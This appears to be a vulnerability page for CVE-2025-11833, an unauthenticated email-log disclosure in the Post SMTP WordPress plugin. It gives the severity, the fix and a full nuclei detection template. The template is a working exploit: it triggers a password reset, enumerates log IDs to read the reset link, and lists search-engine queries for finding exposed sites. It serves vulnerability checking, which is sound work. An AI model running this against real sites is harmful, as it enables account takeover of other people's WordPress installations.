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CVE-2025-11833· wpexperts / post smtp mailer· CWE-862
Post SMTP <= 3.6.0 - Email Log Disclosure
criticalseverity
9.8CVSS score
61.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Post SMTP WordPress plugin <= 3.6.0 contains an unauthorized data access vulnerability caused by missing capability check in __construct function, letting unauthenticated attackers read arbitrary logged emails, exploit requires no authentication.
Impact
Unauthenticated attackers can read sensitive logged emails, including password reset links, potentially leading to account takeover.
Fix
Update to the latest version beyond 3.6.0
How to confirm it
Send: POST /wp-login.php?action=lostpassword&page=postman_email_log&view=log&log_id={{log_id}}
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "your password, visit the following address:", "key=", "Username: {{username}}")Run it with nuclei: nuclei -id CVE-2025-11833 -u <target>
The full check
id: CVE-2025-11833
info:
name: Post SMTP <= 3.6.0 - Email Log Disclosure
author: Kazgangap
severity: critical
description: |
Post SMTP WordPress plugin <= 3.6.0 contains an unauthorized data access vulnerability caused by missing capability check in __construct function, letting unauthenticated attackers read arbitrary logged emails, exploit requires no authentication.
impact: |
Unauthenticated attackers can read sensitive logged emails, including password reset links, potentially leading to account takeover.
remediation: |
Update to the latest version beyond 3.6.0
reference:
- https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-11833.md
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/post-smtp/post-smtp-complete-smtp-solution-with-logs-alerts-backup-smtp-mobile-app-360-missing-authorization-to-account-takeover-via-unauthenticated-email-log-disclosure
- https://nvd.nist.gov/vuln/detail/CVE-2025-11833
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-11833
epss-score: 0.61481
epss-percentile: 0.99174
cwe-id: CWE-862
cpe: cpe:2.3:a:wpexperts:post_smtp_mailer:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wpexperts
product: post_smtp_mailer
framework: wordpress
shodan-query: http.html:/wp-content/plugins/post-smtp
fofa-query: body=/wp-content/plugins/post-smtp
tags: cve,cve2025,wp,wp-plugin,wordpress,post-smtp,exposure,vkev,fuzz,vuln
variables:
username: "{{username}}"
http:
- raw:
- |
POST /wp-login.php?action=lostpassword&page=postman_email_log&view=log&log_id={{log_id}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
user_login={{username}}&redirect_to=&wp-submit=Get+New+Password
payloads:
log_id: helpers/wordlists/numbers.txt
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "your password, visit the following address:", "key=", "Username: {{username}}")'
condition: andReferences
- https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-11833.md
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/post-smtp/post-smtp-complete-smtp-solution-with-logs-alerts-backup-smtp-mobile-app-360-missing-authorization-to-account-takeover-via-unauthenticated-email-log-disclosure
- https://nvd.nist.gov/vuln/detail/CVE-2025-11833
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